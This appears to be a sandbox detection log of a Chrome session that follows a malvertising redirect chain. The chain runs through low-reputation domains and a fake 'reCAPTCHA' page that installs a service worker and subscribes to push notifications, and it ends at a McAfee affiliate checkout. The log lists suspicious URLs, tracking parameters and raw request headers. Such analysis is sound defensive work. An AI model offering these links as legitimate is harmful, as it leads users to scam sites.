Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No <meta name="author".. found

Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No <meta name="copyright".. found
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No <meta name="copyright".. found
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.17:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.17:55760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.17:55797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:55809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.185:443 -> 192.168.2.17:55811 version: TLS 1.2

Networking

Performs DNS queries to domains with low reputation

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: k8cpmrdof.thebigbonusleader.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: k8cpmrdof.thebigbonusleader.xyz

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic

TCP traffic: 192.168.2.17:55753 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: 831be5de.braraildye.live to https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: search.molhajane.live to https://rtb.altairfomalhaut.com/dc?pl=pudxrzrnzkywhw1rpuuklq&cid=d5c93091-29b0-4730-a28e-4d844c1a45a9&sub_id=l92848&ccode=us
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: pshmtrack.com to https://psh-dsp-trk.trkless.com/?s58=jyogdf5yo7q9vvbjfjjvffplvcjds4u2ciypslxkpsih%2f%2bfrei4ihfffvtmqsg5du6%2fhhiuzrky3u%2bhpet8g7giv%2b91eguhptpgxmzetfzvuddhskv4lobog3tbybz%2fov93wsgnlrziavbwfngvcpqwmd6yphha5v%2b%2bf7qybsotk%2fifyy56lg9q0mrm3rui0u9dhohmpzsk9e9ukgmy5chxrfnvs9xzcjcoch8iuekigh7gcqa5fwlubhgj76oa5jsxjwxwqpdjtvgtc6vtwptghjv4piif6ccmz8misqj3laf1rhmdz%2bmln%2b8nuu6u2yut6jqqyiqrtxvhoa4nrg%2bbdxbauo%2bldgqwk658y36vsmykp7ronhamgw9mz8rrw&brid=pb04-0hn6jrjinbg0m4irs&type=2&inst=b04
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: psh-dsp-trk.trkless.com to https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=us&platform=windows&zone_id=&source_id=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: avkk.newplanexcel.com to https://www.jdoqocy.com/click-101155411-15590427?sid=9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: avkk.newplanexcel.com to https://www.jdoqocy.com/click-101155411-15590427?sid=5afb91a4-7e36-4511-9a2e-9ee8f0281a86
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: avkk.newplanexcel.com to https://www.jdoqocy.com/click-101155411-15590427?sid=a5a63ccc-38f1-4a59-9390-8415f82a759d
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: beta-scan.site to https://avkk.newplanexcel.com/t/clk?id=ovkroc8m1xskme0uk6lxdt4&s1=f67ece2371nwj2e8&s2=11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: avkk.newplanexcel.com to https://www.jdoqocy.com/click-101155411-15590427?sid=befc4a8b-40b2-40f9-ab4d-e33b28d32c58

Source: global traffic

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /?u=k8pp605&o=c9ewtnr&t=8845 HTTP/1.1Host: ahchoadeegu.homesConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ahchoadeegu.homesConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ahchoadeegu.homes/?u=k8pp605&o=c9ewtnr&t=8845Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sid=t1~2nfu21dk4tvyqsnquqreybha; p1=https://braraildye.live/qxvlhqbn/; s1=e2pxdlsrtuht00kb
Source: global traffic	HTTP traffic detected: GET /qxvlhqbn/?u=k8pp605&o=c9ewtnr&t=8845&f=1&sid=t1~2nfu21dk4tvyqsnquqreybha&fp=o8R94K792gF2FmXXVRS19Q%3D%3D HTTP/1.1Host: 831be5de.braraildye.liveConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ahchoadeegu.homes/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369 HTTP/1.1Host: re-captha-version-4-21.buzzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: re-captha-version-4-21.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sw-e4e77d444e8cd26ad498a9c5c91d85c0.js HTTP/1.1Host: re-captha-version-4-21.buzzConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yVxFCdyegYPdutC&MD=5BdTG2r4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /api2/subscribeGet?data=eyJjIjoiN2YwOWJiNjItYjc2MC00NWNlLTlmZGEtYzIxNTViMzYxOTY2IiwiYSI6ImwxNTM2OSIsInRva2VuIjoiZDRUTW80T0x0NWRselQ0ZTktcUFQbzpBUEE5MWJIZkR6TWlUQTlzWkh2emFkdkZTUS1OWXJ2bEZaYS1od1UyTk5KZHFmZ0ZIdjJXWTlVVmRhT3hxNzJ1ci1QMks1ZzhkUVM5UVYzYkZ2R3RLR08wTVFKSzBrcGZrV1UxcWdWU0ZpRHNFWktaVXZWcXVSRUUwUVY5MWhad3ZQeTkwa0FBbjhGVyIsIm1lc3NhZ2VTZW5kZXJJZCI6MTEyMjg3MTQ2NjczLCJjbGlja0lkIjoiN2YwOWJiNjItYjc2MC00NWNlLTlmZGEtYzIxNTViMzYxOTY2IiwiYWZmaWxpYXRlSWQiOiJsMTUzNjkiLCJzdWJzY3JpYmVNZXRob2QiOiJkb2ciLCJ2ZXJ0aWNhbCI6ImJ1eW91dCIsInNlIjoxLCJzY3J3IjoxMjgwLCJzY3JoIjoxMDI0LCJsbmciOiJlbiIsImZwIjowfQ== HTTP/1.1Host: pushbizapi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://re-captha-version-4-21.buzzSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://re-captha-version-4-21.buzz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api2/subscribeGet?data=eyJjIjoiN2YwOWJiNjItYjc2MC00NWNlLTlmZGEtYzIxNTViMzYxOTY2IiwiYSI6ImwxNTM2OSIsInRva2VuIjoiZDRUTW80T0x0NWRselQ0ZTktcUFQbzpBUEE5MWJIZkR6TWlUQTlzWkh2emFkdkZTUS1OWXJ2bEZaYS1od1UyTk5KZHFmZ0ZIdjJXWTlVVmRhT3hxNzJ1ci1QMks1ZzhkUVM5UVYzYkZ2R3RLR08wTVFKSzBrcGZrV1UxcWdWU0ZpRHNFWktaVXZWcXVSRUUwUVY5MWhad3ZQeTkwa0FBbjhGVyIsIm1lc3NhZ2VTZW5kZXJJZCI6MTEyMjg3MTQ2NjczLCJjbGlja0lkIjoiN2YwOWJiNjItYjc2MC00NWNlLTlmZGEtYzIxNTViMzYxOTY2IiwiYWZmaWxpYXRlSWQiOiJsMTUzNjkiLCJzdWJzY3JpYmVNZXRob2QiOiJkb2ciLCJ2ZXJ0aWNhbCI6ImJ1eW91dCIsInNlIjoxLCJzY3J3IjoxMjgwLCJzY3JoIjoxMDI0LCJsbmciOiJlbiIsImZwIjowfQ== HTTP/1.1Host: pushbizapi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vw92awy?m=1&t=pshtbnewlink1208_redirectUrl_body HTTP/1.1Host: k8cpmrdof.thebigbonusleader.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://re-captha-version-4-21.buzz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redirectimg?cid=cedafb2e-d51d-4b49-be4a-674778aa8d35&did=df53cb39-6915-4d0c-99c4-537392e95846&g=US&n=19&url=aHR0cHM6Ly90cmsuaW1naHN0LWRlLmNvbS8/czU4PWp5T2dkRjFZbzdxOVZ2QkpmSmpWZmZQbHZjakRzNFUyY0l5cHNMWEtQU0lIJTJGJTJCZnJlSTRJSEZGZnZUbXFzZzVkdTYlMkZoaEl1WlJLeTN1JTJCSFBlbzBncTIzTXQ4SUxVeGs1NDViQ2htUGFHd3klMkZJdDhDY1JVTGIwTHNsOU4wUHlYckRZaW9wV1VkcmlXZDlrTkZkVUlKWmtJYllPRjlqQyUyQm0lMkJmS2MlMkJiZlM2WWJpJTJGbnR3aVlESEdZa3FpVUdsRnY5NjZZUGhNV3gyZkdhekp0SlkwbjRwTFJ4V1NIVlhzeXFhMHlMVDBNWXpLbG5XV1BFS3QxRktoMUhYbkVTJTJCcEtyMSUyRlRlUFdYRUNKZThBJTJGdGZ5c2o1ckJ3JTNEJTNEJmJyaWQ9UEIwNC0wSE42SlJKSU5CRzBNNElSUyZ0eXBlPTEmaW5zdD1iMDQ=&ag=0&s=ins&sv=17&dn=re-captha-version-4-21.buzz&dmi=1726252&pl=2&af=3215&uc=0&sm=1027&tr=3007&icon=1 HTTP/1.1Host: jpgtrk.imghst-de.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://re-captha-version-4-21.buzz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8c3b94f2-2918-4d61-927e-48ce0db60264.jpg HTTP/1.1Host: static.imghst-de.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://re-captha-version-4-21.buzz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pb-message.png HTTP/1.1Host: static.imghst-de.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://re-captha-version-4-21.buzz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: k8cpmrdof.thebigbonusleader.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://k8cpmrdof.thebigbonusleader.xyz/vw92awy?m=1&t=pshtbnewlink1208_redirectUrl_bodyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sid=t6~gsmkraetmfbssfnztncro0il; p1=https://molhajane.live/iltnvcec/; s1=j2nhn2snczp7wtz3
Source: global traffic	HTTP traffic detected: GET /?s58=jyOgdF1Yo7q9VvBJfJjVffPlvcjDs4U2cIypsLXKPSIH%2F%2BfreI4IHFFfvTmqsg5du6%2FhhIuZRKy3u%2BHPeo0gq23Mt8ILUxk545bChmPaGwy%2FIt8CcRULb0Lsl9N0PyXrDYiopWUdriWd9kNFdUIJZkIbYOF9jC%2Bm%2BfKc%2BbfS6Ybi%2FntwiYDHGYkqiUGlFv966YPhMWx2fGazJtJY0n4pLRxWSHVXsyqa0yLT0MYzKlnWWPEKt1FKh1HXnES%2BpKr1%2FTePWXECJe8A%2Ftfysj5rBw%3D%3D&brid=PB04-0HN6JRJINBG0M4IRS&type=1&inst=b04 HTTP/1.1Host: trk.imghst-de.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://re-captha-version-4-21.buzz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iltnvcec/?u1=k8cpmrd&o1=vw92awy&m=1&t=pshtbnewlink1208_redirectUrl_body&f=1&sid=t6~gsmkraetmfbssfnztncro0il&fp=wWnRD%2BVSrlJR70eh%2F5OBUA%3D%3D HTTP/1.1Host: search.molhajane.liveConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://k8cpmrdof.thebigbonusleader.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c30c1f52-c75e-474f-895a-8875d71846db.png HTTP/1.1Host: static.imghst-de.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://re-captha-version-4-21.buzz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
